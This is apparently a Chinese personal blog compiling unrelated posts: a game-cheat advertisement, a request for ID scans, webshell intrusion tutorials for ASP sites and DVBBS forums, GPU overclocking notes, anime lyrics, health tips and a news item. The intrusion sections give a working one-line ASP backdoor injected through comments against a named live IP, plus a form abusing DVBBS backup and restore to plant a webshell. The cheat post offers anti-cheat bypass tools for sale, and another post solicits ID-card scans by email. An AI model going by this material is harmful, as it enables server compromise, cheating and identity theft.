网虫's blog

请访问这里，进行下载。

完全免费，包括了最新以及老的作弊器，全部都集合在这里了。

这是在2008年3月11日测试通过最新浩方反作弊房间的CS1.5作弊器

测试平台:
系统:Windows XP SP2 简体中文版
浩方版本:浩方1.32 by ayu优化版
CS版本:CS1.5硬盘版
显卡:7300GT

使用方法:
1.运行Monitor.exe,并改CS运行文件名称为hl.exe
2.打开并登陆浩方,进入反作弊房间
3.点击Monitor.exe载入007.dll,并通过浩方启动CS1.5
4.设置CS1.5的显卡模式为openGL
5.进入服务器开始作弊之旅程,如果无法进入服务器,请重复上面步骤N次即可

使用方法的视频步骤,并在2008年3月11日,正式通过浩方作弊的演示步骤,下载地址(请用迅雷下载):
下载地址一:http://www.deathlog.net/Video.avi
下载地址二:http://f15.aaa.livedoor.jp/~hackboy/Video.avi

在线观看地址一:http://www.56.com/u38/v_MzA2MDU4MTE.html
在线观看地址二:http://www.tudou.com/programs/view/0zXkkexsse4/

浩方1.32 by ayu版下载地址:http://www.hihacker.net/download/hfldr132.rar

本人联系方式
QQ:155932
E-mail:cnhackboy@gmail.com

需要的请去购买:
http://auction1.taobao.com/auction/item_detail-0db2-62bd24d76c65075b3690916fe2261c59.jhtml
或者
http://auction1.paipai.com/1C61020000000000001C367D02CB0CF1

如果被处理的那两个站点的站长看到了可以联系我。

很多网友可能还不知道，由Bink.nu网站与微软联合推出的Windows Live Mail 2GB免费邮箱现在可以申请了。这个邮箱最特别的地方是与Windows vista旗舰版中才的Aero特效有关，一旦用户申请成功即可获得后缀为Vista.aero的免费2GB邮箱。

注册地址:https://domains.live.com/members/signup.aspx?domain=vista.aero

据了解，用户申请成功后不仅可以获得2GB的免费空间，还可以将申请的ID直接用于msn帐号。
需特别说明的是，有的用户在提交申请后，页面上很可能会出现“服务器拒绝”的提示，这个时候不要担心，事实上你已经是申请成功了。上图是笔者申请成功后登录页面截图。

目前还有少量2位号和大量3位号还没有人申请哦.如果出现只由hotmail.com结尾的选项,请多点几次就会出现vista.aero的了.

最近在玩火车头，准备学习做下垃圾站点，目前开始会采集点DZ了。实话说，火车头真的是个很强大的采集软件啊！花点时间研究它，以后做垃圾站就不愁了。

提供一下火车头在Discuz5.5.0WEB在线发帖的模块。

我也是今年的考生，所以比较关注这些，但目前我所在的贵州省的卷子貌似没出来，不知为什么，虽然上面写我省是用的 全国套II卷，但是实际是 贵州卷，不过目前很多省市的试题和答案都出来了，有比较关注这方面的考生可以去这里查询下下。

祝贺广大考生能考出理想的成绩！

2007年6月9日14:55更新查询连接，并且我也估完自己的分数，大概也就在250-270之间，真是十分的伤感啊。

注意，本人只是送高考考生，因为我也是今年的考试，才考完，终于可以放松一下了，同时也照顾广大其他的高考考生！只送10个名额！

如何领取：
1.扫描自己的身份证，准考证。
2.把扫描的图片发送到dick_jj@163.com

只要是真实有效的我就会把激活码通过E-mail的形式发放给你。
本人承诺不会利用或者散发，也不会泄漏您的证件扫描本，信者可来，不信者请一边。谢谢
谢绝任何非今年高考考生向我索取激活码！

08年1月5日更新：已经失效很久，请不要联系，这是去年的文章。

本文作者：SuperHei·Lilo
文章性质：原创
发布日期：2004-09-16
　　可能是随着网络安全技术的发展吧，管理员的素质都在提高，在使用access+asp系统时，为不数据库被人下载，到把mdb改为asp或asa。先不说直接改后缀，直接可以用网快等工具直接下载，其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。

一．思路

　　大家都知道<％%>为asp文件的标志符，也就是说一个asp文件只会去执行<% %>之间的代码，access＋asp的web系统的所有数据都是存放在数据库文件里（mdb文件），由于管理者把mdb文件改为了asp文件，如果我们提交的数据里包含有<%%>，那当我们访问这个asp数据库的时候就会去执行<%%>之间的代码。这样导致我们只提交恶意代码给数据库，那么asp后缀的数据库就是我们的webshell了。

二．示例

　　随便找个目标，首先我们暴库，看是不是asp后缀的数据库：
http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210

返回：

Microsoft VBScript 编译器错误 错误 '800a03f6' 
缺少 'End'


/iisHelp/common/500-100.asp，行242


Microsoft JET Database Engine 错误 '80004005'


'D:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。 确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。


/test/conn.asp，行18
 

　　我们提交：http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的乱码，这样我们可以直接用网际快车等工具直接下载数据库（这里我们不讨论）。我们回到主页看到有提供“网友评论”功能。我们注册个用户，发一条评论：

< %execute request("b")%>

　　这样我们就把asp代码：<%execute request("b")%>写入了数据库，那么数据库：就是我们的webshell咯。提交：http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在乱码的最后我们看到：

/iisHelp/common/500-100.asp，行242 
Microsoft VBScript 运行时错误 错误 '800a000d'


类型不匹配: 'execute'


/test/dlog/log_mdb/%29dlog_mdb%29.asp，行1266
 

　　哈哈，我们的插入的代码运行了。如下图：

　　注意：我们在向数据库提交代码时，代码内容不可以太大。所以我们采用<%execute request("b")%>。

三．其他一些问题和思路

　　１．对于改了后缀为asp，还对数据库里加入了<%=’a’-1%>等非法的asp代码来彻底防止下载的数据库，由于里面存在了非法的asp代码，插入我们的webshell代码后运行，将只会显示前面非法代码的错误，而不去执行我们shell的代码。虽然这样可以防止一定的攻击，但还是存在一定的隐患，我们只要在出错的代码前加入兼容错误的代码，就可以得到正确显示执行我们插入的webshell代码了。

　　２．对于没有改后缀的，也就是mdb文件，这样我们可以先直接下载下来得到后台密码，进了后台，可以利用数据库备用改后缀为asp。

本文作者：angel
文章性质：原创
发布日期：2004-06-27
发现：Super·Hei
分析：angel
环境/讨论：xiaolu
起哄：knife

前言

　　Super·Hei和我提起《Backup a shell》这篇文章，就和我说，按照这个文章的方法，有没有办法拿到动网论坛上利用，因为DVBBS7.0即使设置允许上传asp文件，实际上也是无法上传的，既然能够去后台设置允许上传文件类型，那何不利用这个方法去备份一个WebShell，我们发帖子写入特制的WebShell的代码，然后备份一下，不就有WebShell了吗？那能不能用到ACCESS数据库里？实验证明这个是不可行的，但是Super·Hei又告诉我另外一个方法，由于他要考试，所以由我来分析并写出来，我转行PHP很久了，所以这次分析DVBBS可能有不足的地方，还请各位高手赐教。

注意：如何进入后台，不是本文讨论范围，局限就在这，靠大家自己发挥了。

ACCESS版的分析

　　首先我们看看admin_data.asp文件的updata()函数：
sub updata() 
             Dbpath=request.form("Dbpath") 
             Dbpath=server.mappath(Dbpath) 
             bkfolder=request.form("bkfolder") 
             bkdbname=request.form("bkdbname") 
             Set Fso=server.createobject("scripting.filesystemobject") 
             if fso.fileexists(dbpath) then 
                 If CheckDir(bkfolder) = True Then 
                 fso.copyfile dbpath,bkfolder& "\"& bkdbname 
                 else 
                 MakeNewsDir bkfolder 
                 fso.copyfile dbpath,bkfolder& ""& bkdbname 
                 end if 
                 response.write "备份数据库成功，您备份的数据库路径为" &bkfolder& ""& bkdbname 
             Else 
                 response.write "找不到您所需要备份的文件。" 
             End if 
end sub

　　上面的代码就是执行备份操作的函数，已经很易懂了，只要Dbpath存在，就直接把数据库复制到指定目录，可能开发者以为入侵者无法进入后台(万一骗来或监听到的呢)，所以并不对这个地方进行检查，没有检查是否为真正的数据库，所以我们就可以利用这里复制我们上传的“图片”。

ACCESS版的利用

　　我们在发帖那上传一个写有asp代码的假图片，然后记住其上传路径，比如UploadFile/2004-6/20046272411024.jpg，然后进入后台的“备份数据库”那，按照下面的格式填写：

　　当前数据库路径(相对路径)：UploadFile/2004-6/20046272411024.jpg
　　备份数据库目录(相对路径)：随便找个目录
　　备份数据库名称(填写名称)：改为webshell.asp

　　然后提交就可以得到WebShell了。

SQL版的分析

　　还是备份数据的地方，你别看这里教你如何用SQL企业管理器来操作，其实可利用的正在里面，不要被表面的现象蒙蔽了，我们看看admin_data.asp文件的以下代码：
case "RestoreData"             '恢复数据 
     admin_flag=",32," 
     dim backpath 
     if not Dvbbs.master or instr(","&session("flag")&",",admin_flag)=0 then 
             Errmsg=ErrMsg + "<BR><li>本页面为管理员专用，请<a href=admin_index.asp target=_top>登录</a>后进入。<br><li>您没有管理本页面的权限。" 
             dvbbs_error() 
     else 
             if request("act")="Restore" then 
                 Dbpath=request.form("Dbpath") 
                 backpath=request.form("backpath") 
                 if dbpath="" then 
                 response.write "请输入您要恢复成的数据库全名"         
                 else 
                 Dbpath=server.mappath(Dbpath) 
                 end if 
                 backpath=server.mappath(backpath) 
             
                 Set Fso=server.createobject("scripting.filesystemobject") 
                 if fso.fileexists(dbpath) then                                 
                 fso.copyfile Dbpath,Backpath 
                 response.write "成功恢复数据！" 
                 else 
                 response.write "备份目录下并无您的备份文件！"         
                 end if 
             else 
             
             call RestoreData() 
             end if 
     end if

　　在后台没有用到这些代码，可以看出我们完全可以用像ACCESS的方法来利用，只是要从本地提交参数，因为Dbpath、backpath那两个变量是用request.form取值。照样没有检查文件类型，这个文件的很多代码在SQL版里都是多余！由此产生安全隐患。这个漏洞的原理和ACCESS版的一样，也就不多分析了。

SQL版的利用

　　还是在发帖那上传一个写有asp代码的假图片，然后记住其上传路径，比如UploadFile/2004-6/20046272411024.jpg，写一个本地提交的表单，代码如下：

<form action="http://[target_url]/admin_data.asp?action=RestoreData&act=Restore" method="post"> 
<p>已上传文件的位置：<input name="Dbpath" type="text" size="80"></p> 
<p>要复制到的位置：<input name="backpath" type="text" size="80"></p> 
<p><input type="submit" value="提交"></p> 
</form>

　　然后就把UploadFile/2004-6/20046272411024.jpg填在“已上传文件的位置”那里，想要在哪里搞个WebShell就把完整的相对路径填写在“要复制到的位置”那里，比如：images/angel.asp提交就得到我们可爱的WebShell了，

解决方案

　　由于我放开ASP转向PHP很久了，所以不能提供很好的解决方案，只能给出个思路，由于利用局限比较大，所以大家如果不会修补，可以等官方的补丁出来。

　　针对ACCESS版的，可以对要备份的文件进行格式检查或内容检查，看是否为ASCII文件，再执行操作。
　　针对SQL版的，可以把那些毫无作用的代码去掉，只留个说明好了。

后记

　　感谢Super·Hei提出他ACCESS版的思路，我才得以分析，感谢xiaolu提供两个版本的论坛供我分析测试，并参与SQL版的讨论，本文版权由Bugkidz和Security Angel两个安全组织共同所有。转载请注明！

主要说的是有后台权限的情况下取得WebShell的方法。

Access：
通过博客（boke）上传程序上传插入了ASP木马的MDB数据库后通过后台备份改名。

Sql：
通过博客（boke）上传程序上传插入了ASP木马的MDB数据库后通过提交程序备份数据库。

以下是代码：
<form action="http://www.xxx.com/bbs/admin/data.asp?action=RestoreData&act=Restore" method="post"> 
<p>已上传文件的位置：<input name="Dbpath" type="text" size="80"></p> 
<p>要复制到的位置：<input name="backpath" type="text" size="80"></p> 
<p><input type="submit" value="提交"></p> 
</form>
更多详细情况请参考ANGEL的《动网论坛7.0获得WebShell的分析》。

注：为什么不通过个人头像和发表帖子上传文件呢？因为那些方式在大部分Dvbbs7.1中都已经无法上传ASP的假图片了，而且即使能上传也无法通过后台的备份来改木马名。

1.我显卡七彩虹镭风9550 CF黄金版 128M的超频极限BiosEdit下450/500（会出现轻微的“天上下刀”）

2.我CPU超频极限，外频210MHZ，温度高达55左右。现用200MHZ标准外频，比较稳定。（标准外频规格100/133/166/200/266/333/400/533/666/800）不使用标准外频容易伤害其他硬件。

3.目前3DMark03 3.6.0最高分数3615，这是今天才出现的极限分数。

写写这几天我从一个什么都不知道的DIY白痴变成个看见DIY之海的新手的一些心得和注意，防止日后我或者同样的新人再犯类似低级的错误。

1.显卡核心与显存的误区。
在软件RadEdit的核心设置和显存设置与BiosEdit的effective chip和effective men是有区别的前者两个都是一样的，但后者RadEdit的却是BiosEdit的一半，RadEdit的数值与RadLinker的是一直的，而BiosEdit却是和一些超频软件一致，一般在网上说的都是BiosEdit的数值，而不是BiosEdit的，所以不要用RadEdit来设置和网上一样的数值。

2.ATI 9550 128M卡的分类问题。
因为生产9550的厂商很多，所以各种9550不可同日而语，要视情况而定。特别是在核心和显存的设置上，差别实在很大。以下列出一些后缀名词的差别。

CH：“H”是“High”---“高端”的缩写，此产品命名将会独立应用在最高端的产品，此系列代表七彩虹对技术有着狂热向往的高端用户最深刻的理解。
CT：“T”是“Technology”---“技术”的缩写，此产品线将最能体现七彩虹科技专业研发团队的技术特色及研发力量，是相同产品中最耀目的技术明星。
CF：“F”是“Full”---“完整”的缩写，此产品线是“完整”按照芯片开发商的公板来设计，完全符合公板所有的特性和规格，具备公板所有的功能。
CV：“V”是“value”---“价值、超值”的缩写，也就是我们所说的64BIT显存的缩水版，我很菜的时候就买过440CV，64M，64BIT。代表七彩虹竭力为用户提供价格优惠而性能出众（高性价比）的产品理念。
CL：“L”是“Limit”---“有限度”的缩写，表明此产品线在功能上与公板“CF”版相比有所简略，是七彩虹因应市场需求而特制的一款性能价格相宜的普及版本。比如去掉了数字接口的TI4200 就是4200CL。

顺便说下NVIDIA 和 ATI后缀命名的意思：

MX：这个后缀名大家都比较熟悉了，代表着低端缩水产品，其技术指标均为高端产品精减而来，以GF2 MX系列为例，像素渲染管线为GF2 GTS的一半，不支持FSAA…………

　　这些精简的后果自然是性能低下，比不过4渲染管线的GF256是理所当然的。现在多数用户所使用的MX440就是GF4 TI所精简而来，仅支持DX7.0，同时不支持PS，两条渲染管线。

ULTRA/PRO代表的是相对于标准版的频率提高，其他参数无变化。

LE这个后缀的显卡大家比较熟悉的还是ATI当年的王者--R8500LE，不过NV在今年也推出了采用该后缀的产品--FX5700LE，代表着较之标准版频率的下降，但其它方面没有任何缩水，带给用户的是更高的性价比。

XT这个后缀曾经饱受非议，在大家都习惯于ATI的9600XT/9800XT这些名称时，NV推出的FX5600XT却将其定义为降频版显卡，有混水摸鱼之嫌。与LE一样，仅仅是将标准版的频率降低，而且现在市场上的NV产品线也没有再出现采用该后缀的产品。

GT可能是NV受到了ATI的9800系列的启发（9800PRO与9800XT均为频率提升版，只是幅度有所不同），在新GF6800系列的显卡中启用了该后缀，相对于GF6800标准版，6800GT与6800ULTRA均具有16条渲染管线（6800标准版为12条），6800GT频率为400/1000，而6800ULTRA采用了DDR3显存，频率为400/1100。

以下是ATI显卡后缀名的命名方式

XT/PRO前面已经提到过，这两个后缀名均为频率提升的版本，同时出现在R9800系列中，其中XT与NV含义不同，为针对骨灰级玩家所推出的，价格非常人所能接受。

LE在最早期的RADEON芯片中就曾出现过此后缀，同NV的LE含义相同，代表着频率降低。严格来说，9550应该称做9600LE，可能是为了市场策略才取了这么个名字吧！

SE是ＡＴＩ简化版的起初很多玩家对ATI的9200SE/9600SE不屑一顾，不过ONLY FOR CHINA的9800SE改变了他们的看法，这种后缀名的显卡基本上都是ATI为了填补较大的市场空白不得以的做法（想想当初9200到9600之间有多大的价格差位），该后缀在每款产品中的含义也不尽相同，9200SE是将9200的显存位宽减半，同时核心频率降低了50；9600SE除了显存位宽减半之外其余参数与9600标准版全部相同；至于9800SE则有数个版本，
最初的9800SE普通版是将显存位宽与渲染管线全都减为9800PRO的1/2，后来很多厂商推出的“9800SE黄金版二代”则保留了256bit的显存位宽，而屏弊的4条渲染管线也有较大的几率能够打通，使得很多玩家对其趋之若骛。
XTX 代表什么就不说了，ATI NO.1 ！

3.关于ATI9550 BIOS的问题。
不同的9550卡的BIOS千万不能乱用，用原装的改是最好的方法也是最保险的。
提供一个一个ATI系列显卡BIOS收集的站点：http://www.techpowerup.com/bios/

4.ATI9550系列的驱动问题。
推荐装ATi Catalyst Driver 5.13的驱动，不推荐装ATi Catalyst Driver 6系列驱动。
纯驱动：http://drivers.mydrivers.com/drivers/dir134/d53954.shtml
纯控制面板：http://drivers.mydrivers.com/drivers/dir135/d54072.shtml
或ATi Catalyst Driver 5.13控制中心完整版（有经验的用户可以试用）：http://drivers.mydrivers.com/drivers/dir136/d54483.shtml

5.关于VPU重置的问题。
如果是在超频期间出现这个问题的话，那么最大的可能是频率调得太高了，试着降低10Mhz-20Mhz会好很多。

ELFEN LIED----- lilium


歌手Kumiko Noma


原文:拉丁文 


OS JUSTI MEDITABITUR SAPIENTIAM
ET LINGUA EJUS LOQUETUR JUDICIUM
BEATUS VIR QUI SUFFERT TENTATIONEM
QUONIAM CUM PROBATUS FUERIT ACCIPIET CORONAM VITAE
KYRIE, IGNIS DIVINE, ELEISON
O QUAM SANCTA
QUAM SERENA
QUAM BENIGNA
QUAM AMOENA
O CASTITATIS LILIUM


英文版


The mouth of the righteous speaketh wisdom
And his tongue talketh of judgment
And his tongue talketh of judgment
Blessed is the man that endureth temptation
For when he is tried, he shall receive the crown of life
Our Lord, divine fire, please mercy on us
Oh how sacred
How serene
How benign
How pleasant
Oh lily of chastity


日文版 


正しき者の唇は叡智を陈（の）べ
その舌は正义をものがたる
试练に耐えうる者は幸いなり
何となれば、いったん评価されしときは
人生の王冠を受くるべし
主よ、圣なる炎よ、怜れみ给え
おお、いかに圣（きよ）く、いかに静けく
いかに慈悲深く、いかに情厚く
おお、纯洁なる白百合


中文版


正义能够激发智慧，
他所说的就是判决。
神圣的他抗拒诱惑，
因为这考验使他能够得到生命的皇冠。
耶和华、圣焰、慈悲心……
喔，多么的神圣，多么的平静；
多么的仁慈，多么的安慰。
喔，纯洁的百合……

《妖精的旋律》主题歌歌词据说是来自圣经的段落，而演唱也用的是拉丁文。其十分耐听的主旋律贯穿全剧，那份带着伤感的压抑与慢淡的节奏，那种深深的悲哀和无法疏解的郁闷感觉，无法排遣。也许命运无法选择，那么对待命运的态度呢？真的又是可以由自己完全选择和掌握的吗？当自己被所有人抛弃，被信任的人背叛了，我们是否还可以对伤害自己的人露出笑脸，是否还敢再付出真心，当身心已经伤痕累累，是否还能说得出那句“原谅”……
当我第一次真正完整认真的听这个主题曲。怎么说呢，作为一部被禁播的动画片，它确实具备了被禁播的资格，所以我并不会推荐大家去看。说回音乐本身的话，将圣经伴着唱诗般的歌声作为这样一部几乎集合所有18禁元素的动画片的主题曲，并且其旋律在片中几乎贯穿始终的多次出现，初看很不协调，而且多少像是刻意的制造噱头。可是如果真的看完全剧，就会觉得这个音乐和圣经其实和影片本身结合的很好，那种关于命运的无奈和对爱与关怀的渴望，片子终结时心头的那种挥之不去的深深悲哀和伤感，都通过音乐得到了很好的表达和诠释。

最近手老酸，玩电脑点都不舒服，刚才网上搜了下，才知道原来我这毛病叫鼠标手，也有不少人遇到了，看来我得需要注意一点了。顺便附送相关资料，如果你有这类问题那得警惕了！

病例

拖曳鼠标手会抽筋

刘小姐问医生,她的手掌常常断断续续地发麻,起初，按摩几下就好了,现在发麻的症状越来越严重,有时睡着了都会被“麻”醒过来。

刘小姐说，半年前，她就发现自己的食指在拖曳鼠标时容易抽筋，当时也没在意，现在不但手掌常常发麻，而且在电脑前工作一段时间后，就感觉到颈、肩部酸痛，有时脖子忽然就不能转动了。

神经科陈主任在仔细询问了刘小姐的工作状况后说，你的手掌发麻等症状，在临床上是神经卡压性疾病的一种，称为“鼠标手”，学名叫“腕管综合征”。

诊断

手腕神经受损

“腕管综合征”的主要表现是，手部麻木、灼痛、腕关节肿胀、手部动作不灵活甚至无力等。

“鼠标手”容易发生在长期使用电脑的人身上，上网族每天重复着在键盘上打字和移动鼠标，手腕关节反复、过度的活动，导致周围神经损伤或受压迫，使神经传导被阻断，从而造成手掌的感觉与运动发生障碍。手指频繁地用力，还使手及相关部位的神经、肌肉因过度疲劳而受损，造成缺血缺氧而出现麻木等一系列症状。

据调查，女性发生“鼠标手”比男性多，这是因为，女性手腕通常比男性小，腕部正中神经容易受到压迫。

处方

正确使用鼠标、键盘

预防“鼠标手”，关键是要尽量避免上肢长时间处于固定、机械而频繁活动的工作状态下，如握着鼠标或打字等，每工作一小时就要起身活动活动肢体，做一些握拳、捏指等放松手指的动作。

使用电脑时，电脑桌上的键盘和鼠标的高度，最好低于坐着时的肘部高度，这样有利于减少操作电脑时对腰背、颈部肌肉和手肌腱鞘等部位的损伤。使用鼠标时，手臂不要悬空，以减轻手腕的压力，移动鼠标时不要用腕力而尽量靠臂力做，减少手腕受力。不要过于用力敲打键盘及鼠标的按键，用力轻松适中为好。另外，鼠标最好选用弧度大、接触面宽的，有助力的分散。

“鼠标手”早期症状比较轻，比如只在使用鼠标时容易抽筋或手掌偶有发麻，这时需要休息。必要时可用木板等方法将手腕固定，使其伸直，通过让受压的神经放松，改善血液循环来改善症状。

提醒

容易遭“鼠标手”袭击者

现在越来越多的人每天会长时间地使用电脑，使“鼠标手”等神经卡压性疾病成为一种日渐增多的文明病。此外，随着开车族的增多，开车时间过久、握方向盘方法不当等也成为手腕受伤的主要原因之一。

研究发现，教师、记者编辑、装配工等腕管综合征的发病率也很高。风湿性关节炎、糖尿病、高血压、甲状腺功能失调以及怀孕妇女等得病的几率也比一般人要高，需要引起重视，及早防护。

链接

常用电脑注意保健

电脑操作者不宜一边操作电脑一边吃东西。否则易造成消化不良。因为电脑操作时的高度用脑，会使胃肠因缺血而影响消化功能。

电脑操作者在屏幕前工作时间过长，眼睛视网膜上的视紫红质会被消耗掉而影响视力。因此，电脑操作者应多吃胡萝卜、豆芽、白菜、桔子以及牛奶、鸡蛋、动物肝脏、瘦肉等富含维生素A的食物。另外，多喝茶，茶叶中含有的茶多酚等活性物质，有助吸收放射性物质，对人体有益。要保护好视力，还要注意用眼卫生，经常远眺和做眼保健操，同时要保证充足的睡眠。

电脑室内光线要适宜，不可过亮或过暗，避免光线直接照射在屏幕上而产生干扰光线。光源最好来自电脑使用者的左边或右边为好。

操作电脑时坐姿要正确舒适。电脑屏幕的中心位置宜与操作者胸部在同一水平线上，最好使用可以调节高低的椅子。在操作过程中应经常眨眨眼睛或闭目休息一会儿，以调节和改善视力，预防视力减退。

电脑房要定期清除粉尘及微生物，清扫时最好用湿布，不要让尘埃随风飘。电脑房要合理调节风量，保持室内空气新鲜，减少电子辐射等对人体的危害。

电脑操作者还应经常洗脸和洗手，保持皮肤的清洁。因为电脑屏幕表面存在大量的静电，其集聚的灰尘可转射到操作者的脸和手等皮肤裸露处，如不经常清洗，时间久了，易发生斑疹、色素沉着等皮肤疾患。在操作时，人体与电脑屏幕应保持一定的距离，与电脑后侧和两侧的距离不应近于100厘米。

    新华网北京8月8日电（记者张涛、李京华）北京市海淀区人民法院新近受理的我国首例博客告博客案原本７日开庭审理，但７日上午开庭时，被告未到庭，法院决定择期开庭审理此案。

    近年来，博客以惊人的速度在互联网上迅猛发展，而博客空间的最大优势是个人充分拥有自己博客的支配权，可以将个人所想、所闻、所见以及对某一事件的看法和评价公之于众。也正因如此，针对博客内容损害了个人名誉权、隐私权等的纠纷不断出现。

    海淀法院受理的这起中国首例博客告博客案，是北京市无业人员沈阳状告扬州大学社会发展学院历史系的０２级学生张明和北京博客网信息技术有限公司侵犯名誉权纠纷案。

    今年４５岁的原告沈阳是博客中国的早期注册用户。他诉称，他在浏览网页的过程中，看到了许多关于贬低自己人格的文章。经确认，扬州大学社会发展学院历史系的０２级学生张明，在２００５年至２００６年间，以秦尘为网名在网上发布了大量针对沈阳的文章，文章均用了极其恶劣的词语对自己进行侮辱和诽谤，使其名誉受到了极大伤害。

    原告沈阳说，张明的这些文章已经在网络上广为流传，有高达数十家网站已经转载，这些文章使他的社会评价受到了极大损害，并影响了他正常的工作和生活。因此，沈阳一纸诉状将张明和北京博客网信息技术有限公司告上了法庭，要求被告立即停止侵权，赔偿其精神损失费１００００元人民币，并向其公开赔礼道歉。